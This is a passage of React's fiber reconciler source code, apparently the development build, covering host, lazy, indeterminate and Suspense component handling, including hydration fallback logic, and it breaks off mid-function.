      reconcileChildren(current, workInProgress, nextChildren, renderLanes);
    }

    return workInProgress.child;
  }

  function mountHostRootWithoutHydrating(current, workInProgress, nextChildren, renderLanes, recoverableError) {
    // Revert to client rendering.
    resetHydrationState();
    queueHydrationError(recoverableError);
    workInProgress.flags |= ForceClientRender;
    reconcileChildren(current, workInProgress, nextChildren, renderLanes);
    return workInProgress.child;
  }

  function updateHostComponent(current, workInProgress, renderLanes) {
    pushHostContext(workInProgress);

    if (current === null) {
      tryToClaimNextHydratableInstance(workInProgress);
    }

    var type = workInProgress.type;
    var nextProps = workInProgress.pendingProps;
    var prevProps = current !== null ? current.memoizedProps : null;
    var nextChildren = nextProps.children;
    var isDirectTextChild = shouldSetTextContent(type, nextProps);

    if (isDirectTextChild) {
      // We special case a direct text child of a host node. This is a common
      // case. We won't handle it as a reified child. We will instead handle
      // this in the host environment that also has access to this prop. That
      // avoids allocating another HostText fiber and traversing it.
      nextChildren = null;
    } else if (prevProps !== null && shouldSetTextContent(type, prevProps)) {
      // If we're switching from a direct text child to a normal child, or to
      // empty, we need to schedule the text content to be reset.
      workInProgress.flags |= ContentReset;
    }

    markRef(current, workInProgress);
    reconcileChildren(current, workInProgress, nextChildren, renderLanes);
    return workInProgress.child;
  }

  function updateHostText(current, workInProgress) {
    if (current === null) {
      tryToClaimNextHydratableInstance(workInProgress);
    } // Nothing to do here. This is terminal. We'll do the completion step
    // immediately after.


    return null;
  }

  function mountLazyComponent(_current, workInProgress, elementType, renderLanes) {
    resetSuspendedCurrentOnMountInLegacyMode(_current, workInProgress);
    var props = workInProgress.pendingProps;
    var lazyComponent = elementType;
    var payload = lazyComponent._payload;
    var init = lazyComponent._init;
    var Component = init(payload); // Store the unwrapped component in the type.

    workInProgress.type = Component;
    var resolvedTag = workInProgress.tag = resolveLazyComponentTag(Component);
    var resolvedProps = resolveDefaultProps(Component, props);
    var child;

    switch (resolvedTag) {
      case FunctionComponent:
        {
          {
            validateFunctionComponentInDev(workInProgress, Component);
            workInProgress.type = Component = resolveFunctionForHotReloading(Component);
          }

          child = updateFunctionComponent(null, workInProgress, Component, resolvedProps, renderLanes);
          return child;
        }

      case ClassComponent:
        {
          {
            workInProgress.type = Component = resolveClassForHotReloading(Component);
          }

          child = updateClassComponent(null, workInProgress, Component, resolvedProps, renderLanes);
          return child;
        }

      case ForwardRef:
        {
          {
            workInProgress.type = Component = resolveForwardRefForHotReloading(Component);
          }

          child = updateForwardRef(null, workInProgress, Component, resolvedProps, renderLanes);
          return child;
        }

      case MemoComponent:
        {
          {
            if (workInProgress.type !== workInProgress.elementType) {
              var outerPropTypes = Component.propTypes;

              if (outerPropTypes) {
                checkPropTypes(outerPropTypes, resolvedProps, // Resolved for outer only
                'prop', getComponentNameFromType(Component));
              }
            }
          }

          child = updateMemoComponent(null, workInProgress, Component, resolveDefaultProps(Component.type, resolvedProps), // The inner type can have defaults too
          renderLanes);
          return child;
        }
    }

    var hint = '';

    {
      if (Component !== null && typeof Component === 'object' && Component.$$typeof === REACT_LAZY_TYPE) {
        hint = ' Did you wrap a component in React.lazy() more than once?';
      }
    } // This message intentionally doesn't mention ForwardRef or MemoComponent
    // because the fact that it's a separate type of work is an
    // implementation detail.


    throw new Error("Element type is invalid. Received a promise that resolves to: " + Component + ". " + ("Lazy element type must resolve to a class or function." + hint));
  }

  function mountIncompleteClassComponent(_current, workInProgress, Component, nextProps, renderLanes) {
    resetSuspendedCurrentOnMountInLegacyMode(_current, workInProgress); // Promote the fiber to a class and try rendering again.

    workInProgress.tag = ClassComponent; // The rest of this function is a fork of `updateClassComponent`
    // Push context providers early to prevent context stack mismatches.
    // During mounting we don't know the child context yet as the instance doesn't exist.
    // We will invalidate the child context in finishClassComponent() right after rendering.

    var hasContext;

    if (isContextProvider(Component)) {
      hasContext = true;
      pushContextProvider(workInProgress);
    } else {
      hasContext = false;
    }

    prepareToReadContext(workInProgress, renderLanes);
    constructClassInstance(workInProgress, Component, nextProps);
    mountClassInstance(workInProgress, Component, nextProps, renderLanes);
    return finishClassComponent(null, workInProgress, Component, true, hasContext, renderLanes);
  }

  function mountIndeterminateComponent(_current, workInProgress, Component, renderLanes) {
    resetSuspendedCurrentOnMountInLegacyMode(_current, workInProgress);
    var props = workInProgress.pendingProps;
    var context;

    {
      var unmaskedContext = getUnmaskedContext(workInProgress, Component, false);
      context = getMaskedContext(workInProgress, unmaskedContext);
    }

    prepareToReadContext(workInProgress, renderLanes);
    var value;
    var hasId;

    {
      markComponentRenderStarted(workInProgress);
    }

    {
      if (Component.prototype && typeof Component.prototype.render === 'function') {
        var componentName = getComponentNameFromType(Component) || 'Unknown';

        if (!didWarnAboutBadClass[componentName]) {
          error("The <%s /> component appears to have a render method, but doesn't extend React.Component. " + 'This is likely to cause errors. Change %s to extend React.Component instead.', componentName, componentName);

          didWarnAboutBadClass[componentName] = true;
        }
      }

      if (workInProgress.mode & StrictLegacyMode) {
        ReactStrictModeWarnings.recordLegacyContextWarning(workInProgress, null);
      }

      setIsRendering(true);
      ReactCurrentOwner$1.current = workInProgress;
      value = renderWithHooks(null, workInProgress, Component, props, context, renderLanes);
      hasId = checkDidRenderIdHook();
      setIsRendering(false);
    }

    {
      markComponentRenderStopped();
    } // React DevTools reads this flag.


    workInProgress.flags |= PerformedWork;

    {
      // Support for module components is deprecated and is removed behind a flag.
      // Whether or not it would crash later, we want to show a good message in DEV first.
      if (typeof value === 'object' && value !== null && typeof value.render === 'function' && value.$$typeof === undefined) {
        var _componentName = getComponentNameFromType(Component) || 'Unknown';

        if (!didWarnAboutModulePatternComponent[_componentName]) {
          error('The <%s /> component appears to be a function component that returns a class instance. ' + 'Change %s to a class that extends React.Component instead. ' + "If you can't use a class try assigning the prototype on the function as a workaround. " + "`%s.prototype = React.Component.prototype`. Don't use an arrow function since it " + 'cannot be called with `new` by React.', _componentName, _componentName, _componentName);

          didWarnAboutModulePatternComponent[_componentName] = true;
        }
      }
    }

    if ( // Run these checks in production only if the flag is off.
    // Eventually we'll delete this branch altogether.
     typeof value === 'object' && value !== null && typeof value.render === 'function' && value.$$typeof === undefined) {
      {
        var _componentName2 = getComponentNameFromType(Component) || 'Unknown';

        if (!didWarnAboutModulePatternComponent[_componentName2]) {
          error('The <%s /> component appears to be a function component that returns a class instance. ' + 'Change %s to a class that extends React.Component instead. ' + "If you can't use a class try assigning the prototype on the function as a workaround. " + "`%s.prototype = React.Component.prototype`. Don't use an arrow function since it " + 'cannot be called with `new` by React.', _componentName2, _componentName2, _componentName2);

          didWarnAboutModulePatternComponent[_componentName2] = true;
        }
      } // Proceed under the assumption that this is a class instance


      workInProgress.tag = ClassComponent; // Throw out any hooks that were used.

      workInProgress.memoizedState = null;
      workInProgress.updateQueue = null; // Push context providers early to prevent context stack mismatches.
      // During mounting we don't know the child context yet as the instance doesn't exist.
      // We will invalidate the child context in finishClassComponent() right after rendering.

      var hasContext = false;

      if (isContextProvider(Component)) {
        hasContext = true;
        pushContextProvider(workInProgress);
      } else {
        hasContext = false;
      }

      workInProgress.memoizedState = value.state !== null && value.state !== undefined ? value.state : null;
      initializeUpdateQueue(workInProgress);
      adoptClassInstance(workInProgress, value);
      mountClassInstance(workInProgress, Component, props, renderLanes);
      return finishClassComponent(null, workInProgress, Component, true, hasContext, renderLanes);
    } else {
      // Proceed under the assumption that this is a function component
      workInProgress.tag = FunctionComponent;

      {

        if ( workInProgress.mode & StrictLegacyMode) {
          setIsStrictModeForDevtools(true);

          try {
            value = renderWithHooks(null, workInProgress, Component, props, context, renderLanes);
            hasId = checkDidRenderIdHook();
          } finally {
            setIsStrictModeForDevtools(false);
          }
        }
      }

      if (getIsHydrating() && hasId) {
        pushMaterializedTreeId(workInProgress);
      }

      reconcileChildren(null, workInProgress, value, renderLanes);

      {
        validateFunctionComponentInDev(workInProgress, Component);
      }

      return workInProgress.child;
    }
  }

  function validateFunctionComponentInDev(workInProgress, Component) {
    {
      if (Component) {
        if (Component.childContextTypes) {
          error('%s(...): childContextTypes cannot be defined on a function component.', Component.displayName || Component.name || 'Component');
        }
      }

      if (workInProgress.ref !== null) {
        var info = '';
        var ownerName = getCurrentFiberOwnerNameInDevOrNull();

        if (ownerName) {
          info += '\n\nCheck the render method of `' + ownerName + '`.';
        }

        var warningKey = ownerName || '';
        var debugSource = workInProgress._debugSource;

        if (debugSource) {
          warningKey = debugSource.fileName + ':' + debugSource.lineNumber;
        }

        if (!didWarnAboutFunctionRefs[warningKey]) {
          didWarnAboutFunctionRefs[warningKey] = true;

          error('Function components cannot be given refs. ' + 'Attempts to access this ref will fail. ' + 'Did you mean to use React.forwardRef()?%s', info);
        }
      }

      if ( Component.defaultProps !== undefined) {
        var componentName = getComponentNameFromType(Component) || 'Unknown';

        if (!didWarnAboutDefaultPropsOnFunctionComponent[componentName]) {
          error('%s: Support for defaultProps will be removed from function components ' + 'in a future major release. Use JavaScript default parameters instead.', componentName);

          didWarnAboutDefaultPropsOnFunctionComponent[componentName] = true;
        }
      }

      if (typeof Component.getDerivedStateFromProps === 'function') {
        var _componentName3 = getComponentNameFromType(Component) || 'Unknown';

        if (!didWarnAboutGetDerivedStateOnFunctionComponent[_componentName3]) {
          error('%s: Function components do not support getDerivedStateFromProps.', _componentName3);

          didWarnAboutGetDerivedStateOnFunctionComponent[_componentName3] = true;
        }
      }

      if (typeof Component.contextType === 'object' && Component.contextType !== null) {
        var _componentName4 = getComponentNameFromType(Component) || 'Unknown';

        if (!didWarnAboutContextTypeOnFunctionComponent[_componentName4]) {
          error('%s: Function components do not support contextType.', _componentName4);

          didWarnAboutContextTypeOnFunctionComponent[_componentName4] = true;
        }
      }
    }
  }

  var SUSPENDED_MARKER = {
    dehydrated: null,
    treeContext: null,
    retryLane: NoLane
  };

  function mountSuspenseOffscreenState(renderLanes) {
    return {
      baseLanes: renderLanes,
      cachePool: getSuspendedCache(),
      transitions: null
    };
  }

  function updateSuspenseOffscreenState(prevOffscreenState, renderLanes) {
    var cachePool = null;

    return {
      baseLanes: mergeLanes(prevOffscreenState.baseLanes, renderLanes),
      cachePool: cachePool,
      transitions: prevOffscreenState.transitions
    };
  } // TODO: Probably should inline this back


  function shouldRemainOnFallback(suspenseContext, current, workInProgress, renderLanes) {
    // If we're already showing a fallback, there are cases where we need to
    // remain on that fallback regardless of whether the content has resolved.
    // For example, SuspenseList coordinates when nested content appears.
    if (current !== null) {
      var suspenseState = current.memoizedState;

      if (suspenseState === null) {
        // Currently showing content. Don't hide it, even if ForceSuspenseFallback
        // is true. More precise name might be "ForceRemainSuspenseFallback".
        // Note: This is a factoring smell. Can't remain on a fallback if there's
        // no fallback to remain on.
        return false;
      }
    } // Not currently showing content. Consult the Suspense context.


    return hasSuspenseContext(suspenseContext, ForceSuspenseFallback);
  }

  function getRemainingWorkInPrimaryTree(current, renderLanes) {
    // TODO: Should not remove render lanes that were pinged during this render
    return removeLanes(current.childLanes, renderLanes);
  }

  function updateSuspenseComponent(current, workInProgress, renderLanes) {
    var nextProps = workInProgress.pendingProps; // This is used by DevTools to force a boundary to suspend.

    {
      if (shouldSuspend(workInProgress)) {
        workInProgress.flags |= DidCapture;
      }
    }

    var suspenseContext = suspenseStackCursor.current;
    var showFallback = false;
    var didSuspend = (workInProgress.flags & DidCapture) !== NoFlags;

    if (didSuspend || shouldRemainOnFallback(suspenseContext, current)) {
      // Something in this boundary's subtree already suspended. Switch to
      // rendering the fallback children.
      showFallback = true;
      workInProgress.flags &= ~DidCapture;
    } else {
      // Attempting the main content
      if (current === null || current.memoizedState !== null) {
        // This is a new mount or this boundary is already showing a fallback state.
        // Mark this subtree context as having at least one invisible parent that could
        // handle the fallback state.
        // Avoided boundaries are not considered since they cannot handle preferred fallback states.
        {
          suspenseContext = addSubtreeSuspenseContext(suspenseContext, InvisibleParentSuspenseContext);
        }
      }
    }

    suspenseContext = setDefaultShallowSuspenseContext(suspenseContext);
    pushSuspenseContext(workInProgress, suspenseContext); // OK, the next part is confusing. We're about to reconcile the Suspense
    // boundary's children. This involves some custom reconciliation logic. Two
    // main reasons this is so complicated.
    //
    // First, Legacy Mode has different semantics for backwards compatibility. The
    // primary tree will commit in an inconsistent state, so when we do the
    // second pass to render the fallback, we do some exceedingly, uh, clever
    // hacks to make that not totally break. Like transferring effects and
    // deletions from hidden tree. In Concurrent Mode, it's much simpler,
    // because we bailout on the primary tree completely and leave it in its old
    // state, no effects. Same as what we do for Offscreen (except that
    // Offscreen doesn't have the first render pass).
    //
    // Second is hydration. During hydration, the Suspense fiber has a slightly
    // different layout, where the child points to a dehydrated fragment, which
    // contains the DOM rendered by the server.
    //
    // Third, even if you set all that aside, Suspense is like error boundaries in
    // that we first we try to render one tree, and if that fails, we render again
    // and switch to a different tree. Like a try/catch block. So we have to track
    // which branch we're currently rendering. Ideally we would model this using
    // a stack.

    if (current === null) {
      // Initial mount
      // Special path for hydration
      // If we're currently hydrating, try to hydrate this boundary.
      tryToClaimNextHydratableInstance(workInProgress); // This could've been a dehydrated suspense component.

      var suspenseState = workInProgress.memoizedState;

      if (suspenseState !== null) {
        var dehydrated = suspenseState.dehydrated;

        if (dehydrated !== null) {
          return mountDehydratedSuspenseComponent(workInProgress, dehydrated);
        }
      }

      var nextPrimaryChildren = nextProps.children;
      var nextFallbackChildren = nextProps.fallback;

      if (showFallback) {
        var fallbackFragment = mountSuspenseFallbackChildren(workInProgress, nextPrimaryChildren, nextFallbackChildren, renderLanes);
        var primaryChildFragment = workInProgress.child;
        primaryChildFragment.memoizedState = mountSuspenseOffscreenState(renderLanes);
        workInProgress.memoizedState = SUSPENDED_MARKER;

        return fallbackFragment;
      } else {
        return mountSuspensePrimaryChildren(workInProgress, nextPrimaryChildren);
      }
    } else {
      // This is an update.
      // Special path for hydration
      var prevState = current.memoizedState;

      if (prevState !== null) {
        var _dehydrated = prevState.dehydrated;

        if (_dehydrated !== null) {
          return updateDehydratedSuspenseComponent(current, workInProgress, didSuspend, nextProps, _dehydrated, prevState, renderLanes);
        }
      }

      if (showFallback) {
        var _nextFallbackChildren = nextProps.fallback;
        var _nextPrimaryChildren = nextProps.children;
        var fallbackChildFragment = updateSuspenseFallbackChildren(current, workInProgress, _nextPrimaryChildren, _nextFallbackChildren, renderLanes);
        var _primaryChildFragment2 = workInProgress.child;
        var prevOffscreenState = current.child.memoizedState;
        _primaryChildFragment2.memoizedState = prevOffscreenState === null ? mountSuspenseOffscreenState(renderLanes) : updateSuspenseOffscreenState(prevOffscreenState, renderLanes);

        _primaryChildFragment2.childLanes = getRemainingWorkInPrimaryTree(current, renderLanes);
        workInProgress.memoizedState = SUSPENDED_MARKER;
        return fallbackChildFragment;
      } else {
        var _nextPrimaryChildren2 = nextProps.children;

        var _primaryChildFragment3 = updateSuspensePrimaryChildren(current, workInProgress, _nextPrimaryChildren2, renderLanes);

        workInProgress.memoizedState = null;
        return _primaryChildFragment3;
      }
    }
  }

  function mountSuspensePrimaryChildren(workInProgress, primaryChildren, renderLanes) {
    var mode = workInProgress.mode;
    var primaryChildProps = {
      mode: 'visible',
      children: primaryChildren
    };
    var primaryChildFragment = mountWorkInProgressOffscreenFiber(primaryChildProps, mode);
    primaryChildFragment.return = workInProgress;
    workInProgress.child = primaryChildFragment;
    return primaryChildFragment;
  }

  function mountSuspenseFallbackChildren(workInProgress, primaryChildren, fallbackChildren, renderLanes) {
    var mode = workInProgress.mode;
    var progressedPrimaryFragment = workInProgress.child;
    var primaryChildProps = {
      mode: 'hidden',
      children: primaryChildren
    };
    var primaryChildFragment;
    var fallbackChildFragment;

    if ((mode & ConcurrentMode) === NoMode && progressedPrimaryFragment !== null) {
      // In legacy mode, we commit the primary tree as if it successfully
      // completed, even though it's in an inconsistent state.
      primaryChildFragment = progressedPrimaryFragment;
      primaryChildFragment.childLanes = NoLanes;
      primaryChildFragment.pendingProps = primaryChildProps;

      if ( workInProgress.mode & ProfileMode) {
        // Reset the durations from the first pass so they aren't included in the
        // final amounts. This seems counterintuitive, since we're intentionally
        // not measuring part of the render phase, but this makes it match what we
        // do in Concurrent Mode.
        primaryChildFragment.actualDuration = 0;
        primaryChildFragment.actualStartTime = -1;
        primaryChildFragment.selfBaseDuration = 0;
        primaryChildFragment.treeBaseDuration = 0;
      }

      fallbackChildFragment = createFiberFromFragment(fallbackChildren, mode, renderLanes, null);
    } else {
      primaryChildFragment = mountWorkInProgressOffscreenFiber(primaryChildProps, mode);
      fallbackChildFragment = createFiberFromFragment(fallbackChildren, mode, renderLanes, null);
    }

    primaryChildFragment.return = workInProgress;
    fallbackChildFragment.return = workInProgress;
    primaryChildFragment.sibling = fallbackChildFragment;
    workInProgress.child = primaryChildFragment;
    return fallbackChildFragment;
  }

  function mountWorkInProgressOffscreenFiber(offscreenProps, mode, renderLanes) {
    // The props argument to `createFiberFromOffscreen` is `any` typed, so we use
    // this wrapper function to constrain it.
    return createFiberFromOffscreen(offscreenProps, mode, NoLanes, null);
  }

  function updateWorkInProgressOffscreenFiber(current, offscreenProps) {
    // The props argument to `createWorkInProgress` is `any` typed, so we use this
    // wrapper function to constrain it.
    return createWorkInProgress(current, offscreenProps);
  }

  function updateSuspensePrimaryChildren(current, workInProgress, primaryChildren, renderLanes) {
    var currentPrimaryChildFragment = current.child;
    var currentFallbackChildFragment = currentPrimaryChildFragment.sibling;
    var primaryChildFragment = updateWorkInProgressOffscreenFiber(currentPrimaryChildFragment, {
      mode: 'visible',
      children: primaryChildren
    });

    if ((workInProgress.mode & ConcurrentMode) === NoMode) {
      primaryChildFragment.lanes = renderLanes;
    }

    primaryChildFragment.return = workInProgress;
    primaryChildFragment.sibling = null;

    if (currentFallbackChildFragment !== null) {
      // Delete the fallback child fragment
      var deletions = workInProgress.deletions;

      if (deletions === null) {
        workInProgress.deletions = [currentFallbackChildFragment];
        workInProgress.flags |= ChildDeletion;
      } else {
        deletions.push(currentFallbackChildFragment);
      }
    }

    workInProgress.child = primaryChildFragment;
    return primaryChildFragment;
  }

  function updateSuspenseFallbackChildren(current, workInProgress, primaryChildren, fallbackChildren, renderLanes) {
    var mode = workInProgress.mode;
    var currentPrimaryChildFragment = current.child;
    var currentFallbackChildFragment = currentPrimaryChildFragment.sibling;
    var primaryChildProps = {
      mode: 'hidden',
      children: primaryChildren
    };
    var primaryChildFragment;

    if ( // In legacy mode, we commit the primary tree as if it successfully
    // completed, even though it's in an inconsistent state.
    (mode & ConcurrentMode) === NoMode && // Make sure we're on the second pass, i.e. the primary child fragment was
    // already cloned. In legacy mode, the only case where this isn't true is
    // when DevTools forces us to display a fallback; we skip the first render
    // pass entirely and go straight to rendering the fallback. (In Concurrent
    // Mode, SuspenseList can also trigger this scenario, but this is a legacy-
    // only codepath.)
    workInProgress.child !== currentPrimaryChildFragment) {
      var progressedPrimaryFragment = workInProgress.child;
      primaryChildFragment = progressedPrimaryFragment;
      primaryChildFragment.childLanes = NoLanes;
      primaryChildFragment.pendingProps = primaryChildProps;

      if ( workInProgress.mode & ProfileMode) {
        // Reset the durations from the first pass so they aren't included in the
        // final amounts. This seems counterintuitive, since we're intentionally
        // not measuring part of the render phase, but this makes it match what we
        // do in Concurrent Mode.
        primaryChildFragment.actualDuration = 0;
        primaryChildFragment.actualStartTime = -1;
        primaryChildFragment.selfBaseDuration = currentPrimaryChildFragment.selfBaseDuration;
        primaryChildFragment.treeBaseDuration = currentPrimaryChildFragment.treeBaseDuration;
      } // The fallback fiber was added as a deletion during the first pass.
      // However, since we're going to remain on the fallback, we no longer want
      // to delete it.


      workInProgress.deletions = null;
    } else {
      primaryChildFragment = updateWorkInProgressOffscreenFiber(currentPrimaryChildFragment, primaryChildProps); // Since we're reusing a current tree, we need to reuse the flags, too.
      // (We don't do this in legacy mode, because in legacy mode we don't re-use
      // the current tree; see previous branch.)

      primaryChildFragment.subtreeFlags = currentPrimaryChildFragment.subtreeFlags & StaticMask;
    }

    var fallbackChildFragment;

    if (currentFallbackChildFragment !== null) {
      fallbackChildFragment = createWorkInProgress(currentFallbackChildFragment, fallbackChildren);
    } else {
      fallbackChildFragment = createFiberFromFragment(fallbackChildren, mode, renderLanes, null); // Needs a placement effect because the parent (the Suspense boundary) already
      // mounted but this is a new fiber.

      fallbackChildFragment.flags |= Placement;
    }

    fallbackChildFragment.return = workInProgress;
    primaryChildFragment.return = workInProgress;
    primaryChildFragment.sibling = fallbackChildFragment;
    workInProgress.child = primaryChildFragment;
    return fallbackChildFragment;
  }

  function retrySuspenseComponentWithoutHydrating(current, workInProgress, renderLanes, recoverableError) {
    // Falling back to client rendering. Because this has performance
    // implications, it's considered a recoverable error, even though the user
    // likely won't observe anything wrong with the UI.
    //
    // The error is passed in as an argument to enforce that every caller provide
    // a custom message, or explicitly opt out (currently the only path that opts
    // out is legacy mode; every concurrent path provides an error).
    if (recoverableError !== null) {
      queueHydrationError(recoverableError);
    } // This will add the old fiber to the deletion list


    reconcileChildFibers(workInProgress, current.child, null, renderLanes); // We're now not suspended nor dehydrated.

    var nextProps = workInProgress.pendingProps;
    var primaryChildren = nextProps.children;
    var primaryChildFragment = mountSuspensePrimaryChildren(workInProgress, primaryChildren); // Needs a placement effect because the parent (the Suspense boundary) already
    // mounted but this is a new fiber.

    primaryChildFragment.flags |= Placement;
    workInProgress.memoizedState = null;
    return primaryChildFragment;
  }

  function mountSuspenseFallbackAfterRetryWithoutHydrating(current, workInProgress, primaryChildren, fallbackChildren, renderLanes) {
    var fiberMode = workInProgress.mode;
    var primaryChildProps = {
      mode: 'visible',
      children: primaryChildren
    };
    var primaryChildFragment = mountWorkInProgressOffscreenFiber(primaryChildProps, fiberMode);
    var fallbackChildFragment = createFiberFromFragment(fallbackChildren, fiberMode, renderLanes, null); // Needs a placement effect because the parent (the Suspense
    // boundary) already mounted but this is a new fiber.

    fallbackChildFragment.flags |= Placement;
    primaryChildFragment.return = workInProgress;
    fallbackChildFragment.return = workInProgress;
    primaryChildFragment.sibling = fallbackChildFragment;
    workInProgress.child = primaryChildFragment;

    if ((workInProgress.mode & ConcurrentMode) !== NoMode) {
      // We will have dropped the effect list which contains the
      // deletion. We need to reconcile to delete the current child.
      reconcileChildFibers(workInProgress, current.child, null, renderLanes);
    }

    return fallbackChildFragment;
  }

  function mountDehydratedSuspenseComponent(workInProgress, suspenseInstance, renderLanes) {
    // During the first pass, we'll bail out and not drill into the children.
    // Instead, we'll leave the content in place and try to hydrate it later.
    if ((workInProgress.mode & ConcurrentMode) === NoMode) {
      {
        error('Cannot hydrate Suspense in legacy mode. Switch from ' + 'ReactDOM.hydrate(element, container) to ' + 'ReactDOMClient.hydrateRoot(container, <App />)' + '.render(element) or remove the Suspense components from ' + 'the server rendered components.');
      }

      workInProgress.lanes = laneToLanes(SyncLane);
    } else if (isSuspenseInstanceFallback(suspenseInstance)) {
      // This is a client-only boundary. Since we won't get any content from the server
      // for this, we need to schedule that at a higher priority based on when it would
      // have timed out. In theory we could render it in this pass but it would have the
      // wrong priority associated with it and will prevent hydration of parent path.
      // Instead, we'll leave work left on it to render it in a separate commit.
      // TODO This time should be the time at which the server rendered response that is
      // a parent to this boundary was displayed. However, since we currently don't have
      // a protocol to transfer that time, we'll just estimate it by using the current
      // time. This will mean that Suspense timeouts are slightly shifted to later than
      // they should be.
      // Schedule a normal pri update to render this content.
      workInProgress.lanes = laneToLanes(DefaultHydrationLane);
    } else {
      // We'll continue hydrating the rest at offscreen priority since we'll already
      // be showing the right content coming from the server, it is no rush.
      workInProgress.lanes = laneToLanes(OffscreenLane);
    }

    return null;
  }

  function updateDehydratedSuspenseComponent(current, workInProgress, didSuspend, nextProps, suspenseInstance, suspenseState, renderLanes) {
    if (!didSuspend) {
      // This is the first render pass. Attempt to hydrate.
      // We should never be hydrating at this point because it is the first pass,
      // but after we've already committed once.
      warnIfHydrating();

      if ((workInProgress.mode & ConcurrentMode) === NoMode) {
        return retrySuspenseComponentWithoutHydrating(current, workInProgress, renderLanes, // TODO: When we delete legacy mode, we should make this error argument
        // required — every concurrent mode path that causes hydration to
        // de-opt to client rendering should have an error message.
        null);
      }

      if (isSuspenseInstanceFallback(suspenseInstance)) {
        // This boundary is in a permanent fallback state. In this case, we'll never
        // get an update and we'll never be able to hydrate the final content. Let's just try the
        // client side render instead.
        var digest, message, stack;

        {
          var _getSuspenseInstanceF = getSuspenseInstanceFallbackErrorDetails(suspenseInstance);

          digest = _getSuspenseInstanceF.digest;
          message = _getSuspenseInstanceF.message;
          stack = _getSuspenseInstanceF.stack;
        }

        var error;

        if (message) {
          // eslint-disable-next-line react-internal/prod-error-codes
          error = new Error(message);
        } else {
          error = new Error('The server could not finish this Suspense boundary, likely ' + 'due to an error during server rendering. Switched to ' + 'client rendering.');
        }

        var capturedValue = createCapturedValue(error, digest, stack);
        return retrySuspenseComponentWithoutHydrating(current, workInProgress, renderLanes, capturedValue);
      }
      // any context has changed, we need to treat is as if the input might have changed.


      var hasContextChanged = includesSomeLane(renderLanes, current.childLanes);

      if (didReceiveUpdate || hasContextChanged) {
        // This boundary has changed since the first render. This means that we are now unable to
        // hydrate it. We might still be able to hydrate it using a higher priority lane.
        var root = getWorkInProgressRoot();

        if (root !== null) {
          var attemptHydrationAtLane = getBumpedLaneForHydration(root, renderLanes);

          if (attemptHydrationAtLane !== NoLane && attemptHydrationAtLane !== suspenseState.retryLane) {
            // Intentionally mutating since this render will get interrupted. This
            // is one of the very rare times where we mutate the current tree
            // during the render phase.
            suspenseState.retryLane = attemptHydrationAtLane; // TODO: Ideally this would inherit the event time of the current render

            var eventTime = NoTimestamp;
            enqueueConcurrentRenderForLane(current, attemptHydrationAtLane);
            scheduleUpdateOnFiber(root, current, attemptHydrationAtLane, eventTime);
          }
        } // If we have scheduled higher pri work above, this will probably just abort the render
        // since we now have higher priority work, but in case it doesn't, we need to prepare to
        // render something, if we time out. Even if that requires us to delete everything and
        // skip hydration.
        // Delay having to do this as long as the suspense timeout allows us.


        renderDidSuspendDelayIfPossible();

        var _capturedValue = createCapturedValue(new Error('This Suspense boundary received an update before it finished ' + 'hydrating. This caused the boundary to switch to client rendering. ' + 'The usual way to fix this is to wrap the original update ' + 'in startTransition.'));

        return retrySuspenseComponentWithoutHydrating(current, workInProgress, renderLanes, _capturedValue);
      } else if (isSuspenseInstancePending(suspenseInstance)) {
        // This component is still pending more data from the server, so we can't hydrate its
        // content. We treat it as if this component suspended itself. It might seem as if
        // we could just try to render it client-side instead. However, this will perform a
        // lot of unnecessary work and is unlikely to complete since it often will suspend
        // on missing data anyway. Additionally, the server might be able to render more
        // than we can on the client yet. In that case we'd end up with more fallback states
        // on the client than if we just leave it alone. If the server times out or errors
        // these should update this boundary to the permanent Fallback state instead.
        // Mark it as having captured (i.e. suspended).
        workInProgress.flags |= DidCapture; // Leave the child in place. I.e. the dehydrated fragment.

        workInProgress.child = current.child; // Register a callback to retry this boundary once the server has sent the result.

        var retry = retryDehydratedSuspenseBoundary.bind(null, current);
        registerSuspenseInstanceRetry(suspenseInstance, retry);
        return null;
      } else {
        // This is the first attempt.
        reenterHydrationStateFromDehydratedSuspenseInstance(workInProgress, suspenseInstance, suspenseState.treeContext);
        var primaryChildren = nextProps.children;
        var primaryChildFragment = mountSuspensePrimaryChildren(workInProgress, primaryChildren); // Mark the children as hydrating. This is a fast path to know whether this
        // tree is part of a hydrating tree. This is used to determine if a child
        // node has fully mounted yet, and for scheduling event replaying.
        // Conceptually this is similar to Placement in that a new subtree is
        // inserted into the React tree here. It just happens to not need DOM
        // mutations because it already exists.

        primaryChildFragment.flags |= Hydrating;
        return primaryChildFragment;
      }
    } else {
      // This is the second render pass. We already attempted to hydrated, but
      // something either suspended or errored.
      if (workInProgress.flags & ForceClientRender) {
        // Something errored during hydration. Try again without hydrating.
        workInProgress.flags &= ~ForceClientRender;

        var _capturedValue2 = createCapturedValue(new Error('There was an error while hydrating this Suspense boundary. ' + 'Switched to client rendering.'));

        return retrySuspenseComponentWithoutHydrating(current, workInProgress, renderLanes, _capturedValue2);
      } else if (workInProgress.memoizedState !== null) {
        // Something suspended and we should still be in dehydrated mode.
        // Leave the existing child in place.
        workInProgress.child = current.child; // The dehydrated completion pass expects this flag to be there
        // but the normal suspense pass doesn't.

        workInProgress.flags |= DidCapture;
        return null;
      } else {
        // Suspended but we should no longer be in dehydrated mode.
        // Therefore we now have to render the fallback.
        var nextPrimaryChildren = nextProps.children;
        var nextFallbackChildren = nextProps.fallback;
        var fallbackChildFragment = mountSuspenseFallbackAfterRetryWithoutHydrating(current, workInProgress, nextPrimaryChildren, nextFallbackChildren, renderLanes);
        var _primaryChildFragment4 = workInProgress.child;
        _primaryChildFragment4.memoizedState = mountSuspenseOffscreenState(renderLanes);
        workInProgress.memoizedState = SUSPENDED_MARKER;
        return fallbackChildFragment;
      }
    }
  }

  function scheduleSuspenseWorkOnFiber(fiber, renderLanes, propagationRoot) {
    fiber.lanes = mergeLanes(fiber.lanes, renderLanes);
    var alternate = fiber.alternate;

    if (alternate !== null) {
      alternate.lanes = mergeLanes(alternate.lanes, renderLanes);
    }

    scheduleContextWorkOnParentPath(fiber.return, renderLanes, propagationRoot);
  }

  function propagateSuspenseContextChange(workInProgress, firstChild, renderLanes) {
    // Mark any Suspense boundaries with fallbacks as having work to do.
    // If they were previously forced into fallbacks, they may now be able
    // to unblock.
    var node = firstChild;

    while (node !== null) {
      if (node.tag === SuspenseComponent) {
        var state = node.memoizedState;

        if (state !== null) {
          scheduleSuspenseWorkOnFiber(node, renderLanes, workInProgress);
        }
      } else if (node.tag === SuspenseListComponent) {
        // If the tail is hidden there might not be an Suspense boundaries
        // to schedule work on. In this case we have to schedule it on the
        // list itself.
        // We don't have to traverse to the children of the list since
        // the list will propagate the change when it rerenders.
